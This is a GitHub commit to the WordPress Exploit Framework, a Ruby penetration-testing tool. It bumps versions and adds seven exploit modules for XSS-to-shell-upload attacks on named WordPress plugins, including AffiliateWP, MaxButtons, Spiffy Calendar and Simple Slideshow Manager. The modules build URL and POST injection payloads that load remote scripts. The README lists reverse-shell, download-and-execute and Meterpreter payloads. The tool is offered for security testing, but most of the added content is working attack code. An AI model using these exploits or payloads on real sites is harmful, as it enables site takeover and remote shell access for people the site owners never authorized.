Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit fbc1b70

Browse files
committed
Merge branch 'development'
2 parents aa5a883 + 478a657 commit fbc1b70

24 files changed

+559
-12
lines changed

.ruby-version

+1-1
Original file line numberDiff line numberDiff line change
@@ -1 +1 @@
1-
2.2.6
1+
2.4.1

.travis.yml

+2-3
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,7 @@
11
language: ruby
22
rvm:
3-
- 2.2.6
4-
- 2.3.3
5-
- 2.4.0
3+
- 2.3.4
4+
- 2.4.1
65
before_install:
76
- "echo 'gem: --no-ri --no-rdoc' > ~/.gemrc"
87
script: bundle exec rspec

Gemfile

+1-1
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
source 'https://rubygems.org'
22
gem 'colorize', '>=0.8.1'
33
gem 'mime-types', '>=3.1'
4-
gem 'nokogiri', '~>1.7.0'
4+
gem 'nokogiri', '~>1.8.0'
55
gem 'require_all', '~>1.4'
66
gem 'rubyzip', '~>1.2'
77
gem 'slop', '~>4.5'

README.md

+4-2
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,7 @@
44
A Ruby framework for developing and using modules which aid in the penetration testing of WordPress powered websites and systems.
55

66
### What do I need to run it?
7-
Ensure that you have Ruby >= 2.2.6 installed on your system and then install all required dependencies by opening a command prompt / terminal in the WPXF folder and running ```bundle install```.
7+
Ensure that you have Ruby >= 2.4.1 installed on your system and then install all required dependencies by opening a command prompt / terminal in the WPXF folder and running ```bundle install```.
88

99
If bundler is not present on your system, you can install it by running ```gem install bundler```.
1010

@@ -76,10 +76,12 @@ Exploit modules require you to specify a payload which subsequently gets execute
7676
* **bind_php:** uploads a script that will bind to a specific port and allow WPXF to establish a remote shell.
7777
* **custom:** uploads and executes a custom PHP script.
7878
* **download_exec:** downloads and runs a remote executable file.
79+
* **meterpreter_bind_tcp:** a Meterpreter bind TCP payload generated using msfvenom.
80+
* **meterpreter_reverse_tcp:** a Meterpreter reverse TCP payload generated using msfvenom.
7981
* **exec:** runs a shell command on the remote server and returns the output to the WPXF session.
8082
* **reverse_tcp:** uploads a script that will establish a reverse TCP shell.
8183

82-
All these payloads, with the exception of ```custom```, will delete themselves after they have been executed, to avoid leaving them lying around on the target machine after use or in the event that they are being used to establish a shell which fails.
84+
All these payloads, with the exception of ```custom``` and the Meterpreter payloads, will delete themselves after they have been executed, to avoid leaving them lying around on the target machine after use or in the event that they are being used to establish a shell which fails.
8385

8486
### How can I write my own modules and payloads?
8587
Guides on writing modules and payloads can be found on [The Wiki](https://github.com/rastating/wordpress-exploit-framework/wiki) and full documentation of the API can be found at http://www.getwpxf.com/.

VERSION

+1-1
Original file line numberDiff line numberDiff line change
@@ -1 +1 @@
1-
1.5.3
1+
1.6

lib/wpxf/net/http_client.rb

+12-1
Original file line numberDiff line numberDiff line change
@@ -125,7 +125,7 @@ def execute_request(opts)
125125
return Wpxf::Net::HttpResponse.new(res)
126126
end
127127

128-
emit_info "Requesting #{opts[:url]}...", true
128+
emit_info "Requesting #{req.url}...", true
129129
req.run
130130
end
131131

@@ -182,6 +182,17 @@ def execute_delete_request(opts)
182182
def max_http_concurrency
183183
normalized_option_value('max_http_concurrency')
184184
end
185+
186+
# Normalize a relative URI into an absolute URL.
187+
# @param uri [String] the relative or absolute URI.
188+
# @return [String] the absolute URL.
189+
def normalize_relative_uri(uri)
190+
if uri.start_with?('/')
191+
normalize_uri(full_uri, uri)
192+
else
193+
uri
194+
end
195+
end
185196
end
186197
end
187198
end

lib/wpxf/net/typhoeus_helper.rb

+1-1
Original file line numberDiff line numberDiff line change
@@ -37,7 +37,7 @@ def create_typhoeus_request(opts)
3737
opts[:body],
3838
headers
3939
)
40-
Typhoeus::Request.new(opts[:url], options)
40+
Typhoeus::Request.new(normalize_relative_uri(opts[:url]), options)
4141
end
4242
end
4343
end

lib/wpxf/utility/text.rb

+6
Original file line numberDiff line numberDiff line change
@@ -57,6 +57,12 @@ def self.md5(value)
5757
def self.rand_email
5858
"#{rand_alpha(rand(5..10))}@#{rand_alpha(rand(5..10))}.com"
5959
end
60+
61+
# Generate a random month name.
62+
# @return [String] the month name.
63+
def self.rand_month
64+
%w(january february march april june july august september october november december).sample
65+
end
6066
end
6167
end
6268
end
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
class Wpxf::Exploit::AffiliateWPReflectedXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::ReflectedXss
3+
include ERB::Util
4+
5+
def initialize
6+
super
7+
8+
update_info(
9+
name: 'AffiliateWP <= 2.0.9 Reflected XSS Shell Upload',
10+
author: [
11+
'DefenseCode', # Discovery
12+
'Rob Carr <rob[at]rastating.com>' # WPXF module
13+
],
14+
references: [
15+
['WPVDB', '8835'],
16+
['URL', 'http://www.defensecode.com/advisories/DC-2017-05-005_WordPress_AffiliateWP_Plugin_Advisory.pdf']
17+
],
18+
date: 'May 24 2017'
19+
)
20+
end
21+
22+
def check
23+
:unknown
24+
end
25+
26+
def vulnerable_url
27+
normalize_uri(wordpress_url_admin, 'admin.php')
28+
end
29+
30+
def url_payload
31+
url_encode("'</script><script>#{xss_ascii_encoded_include_script}</script>")
32+
end
33+
34+
def url_with_xss
35+
"#{vulnerable_url}?page=affiliate-wp-referrals&filter_from=#{url_payload}"
36+
end
37+
end
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
class Wpxf::Exploit::AllInOneSchemaRichSnippetsReflectedXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::ReflectedXss
3+
include ERB::Util
4+
5+
def initialize
6+
super
7+
8+
update_info(
9+
name: 'All In One Schema.org Rich Snippets <= 1.4.4 Reflected XSS Shell Upload',
10+
author: [
11+
'DefenseCode', # Discovery
12+
'Rob Carr <rob[at]rastating.com>' # WPXF module
13+
],
14+
references: [
15+
['WPVDB', '8834'],
16+
['URL', 'http://www.defensecode.com/advisories/DC-2017-01-002_WordPress_All_In_One_Schemaorg_Rich_Snippets_Plugin_Advisory.pdf']
17+
],
18+
date: 'May 24 2017'
19+
)
20+
end
21+
22+
def check
23+
check_plugin_version_from_readme('all-in-one-schemaorg-rich-snippets', '1.4.5')
24+
end
25+
26+
def vulnerable_url
27+
normalize_uri(wordpress_url_admin, 'admin.php')
28+
end
29+
30+
def url_payload
31+
url_encode("</script><script>#{xss_ascii_encoded_include_script}</script>")
32+
end
33+
34+
def url_with_xss
35+
"#{vulnerable_url}?page=rich_snippet_dashboard&bsf_force_send=true&bsf_send_label=#{url_payload}"
36+
end
37+
end
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
class Wpxf::Exploit::MaxbuttonsReflectedXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::StagedReflectedXss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'MaxButtons <= 6.18 Reflected XSS Shell Upload',
9+
author: [
10+
'JPCert', # Disclosure
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['CVE', '2017-2169'],
15+
['WPVDB', '8831'],
16+
['URL', 'https://www.rastating.com/maxbuttons-6-18-reflected-xss']
17+
],
18+
date: 'May 23 2017'
19+
)
20+
end
21+
22+
def check
23+
check_plugin_version_from_readme('maxbuttons', '6.19')
24+
end
25+
26+
def vulnerable_url
27+
normalize_uri(wordpress_url_admin, 'admin.php?page=maxbuttons-controller')
28+
end
29+
30+
def initial_script
31+
create_basic_post_script(
32+
vulnerable_url,
33+
'page' => "\\\"><script>#{xss_ascii_encoded_include_script}<\\/script>"
34+
)
35+
end
36+
end
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
class Wpxf::Exploit::NewsletterBySupsysticCsrfStoredXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::StagedReflectedXss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Newsletter by Supsystic < 1.1.8 CSRF Stored XSS Shell Upload',
9+
author: [
10+
'King Coder', # Disclosure
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '8832'],
15+
['URL', 'https://www.vulnerability-lab.com/get_content.php?id=2070']
16+
],
17+
date: 'May 23 2017'
18+
)
19+
end
20+
21+
def check
22+
check_plugin_version_from_readme('newsletter-by-supsystic', '1.1.8')
23+
end
24+
25+
def vulnerable_url
26+
wordpress_url_admin_ajax
27+
end
28+
29+
def initial_script
30+
create_basic_post_script(
31+
vulnerable_url,
32+
'action' => 'create',
33+
'label' => "#{Utility::Text.rand_alpha(10)}<script src=\\\"#{xss_url}\\\"><\\/script>",
34+
'slid[]' => '1',
35+
'oid' => '1',
36+
'mod' => 'newsletters',
37+
'pl' => 'nbs',
38+
'reqType' => 'ajax'
39+
)
40+
end
41+
end
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
class Wpxf::Exploit::NoExternalLinksReflectedXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::ReflectedXss
3+
include ERB::Util
4+
5+
def initialize
6+
super
7+
8+
update_info(
9+
name: 'WP No External Links <= 3.5.18 Reflected XSS Shell Upload',
10+
author: [
11+
'DefenseCode', # Discovery
12+
'Rob Carr <rob[at]rastating.com>' # WPXF module
13+
],
14+
references: [
15+
['WPVDB', '8840'],
16+
['URL', 'http://defensecode.com/advisories/DC-2017-01-022_WordPress_No_External_Links_Plugin_Advisory.pdf']
17+
],
18+
date: 'May 31 2017'
19+
)
20+
end
21+
22+
def check
23+
check_plugin_version_from_readme('wp-noexternallinks', '3.5.19')
24+
end
25+
26+
def vulnerable_url
27+
normalize_uri(wordpress_url_admin, 'options-general.php')
28+
end
29+
30+
def url_payload
31+
url_encode("\"><script>#{xss_ascii_encoded_include_script}</script>")
32+
end
33+
34+
def url_with_xss
35+
"#{vulnerable_url}?page=wp-noexternallinks%2Fwp-noexternallinks-options.php&action=stats&date1=#{url_payload}"
36+
end
37+
end
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
class Wpxf::Exploit::SimpleSlideshowManagerReflectedXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::ReflectedXss
3+
include ERB::Util
4+
5+
def initialize
6+
super
7+
8+
update_info(
9+
name: 'Simple Slideshow Manager <= 2.3 Reflected XSS Shell Upload',
10+
author: [
11+
'DefenseCode', # Discovery
12+
'Rob Carr <rob[at]rastating.com>' # WPXF module
13+
],
14+
references: [
15+
['WPVDB', '8841'],
16+
['URL', 'http://defensecode.com/advisories/DC-2017-02-016_WordPress_Simple_Slideshow_Manager_Plugin_Advisory.pdf']
17+
],
18+
date: 'May 31 2017'
19+
)
20+
end
21+
22+
def check
23+
check_plugin_version_from_changelog('simple-slideshow-manager', 'readme.txt', '2.4')
24+
end
25+
26+
def vulnerable_url
27+
normalize_uri(wordpress_url_admin, 'admin.php')
28+
end
29+
30+
def url_payload
31+
url_encode("\"></script><script>#{xss_ascii_encoded_include_script}</script>")
32+
end
33+
34+
def url_with_xss
35+
"#{vulnerable_url}?page=Acurax-Slideshow-Add-Images&name=#{url_payload}"
36+
end
37+
end
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,47 @@
1+
class Wpxf::Exploit::SpiffyCalendarReflectedXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::ReflectedXss
3+
include ERB::Util
4+
5+
def initialize
6+
super
7+
8+
update_info(
9+
name: 'Spiffy Calendar <= 3.2.0 Reflected XSS Shell Upload',
10+
author: [
11+
'DTSA', # Discovery
12+
'Rob Carr <rob[at]rastating.com>' # WPXF module
13+
],
14+
references: [
15+
['WPVDB', '8842'],
16+
['CVE', '2017-9420'],
17+
['URL', 'https://dtsa.eu/cve-2017-9420-wordpress-spiffy-calendar-v-3-2-0-reflected-cross-site-scripting-xss/']
18+
],
19+
date: 'Jun 02 2017'
20+
)
21+
22+
register_option(
23+
StringOption.new(
24+
name: 'calendar_path',
25+
desc: 'The relative path or absolute URL of the calendar',
26+
required: true
27+
)
28+
)
29+
end
30+
31+
def check
32+
readme = normalize_uri(wordpress_url_plugins, 'spiffy-calendar', 'readme.txt')
33+
check_version_from_custom_file(readme, /=\sVersion\s((\d+\.?)+).+?=/, '3.3')
34+
end
35+
36+
def vulnerable_url
37+
normalize_relative_uri(datastore['calendar_path'])
38+
end
39+
40+
def url_payload
41+
url_encode("#{DateTime.now.year}\"><script>#{xss_ascii_encoded_include_script}</script>")
42+
end
43+
44+
def url_with_xss
45+
"#{vulnerable_url}?month=#{Utility::Text.rand_month[0..2]}&yr=#{url_payload}"
46+
end
47+
end

0 commit comments

Comments
 (0)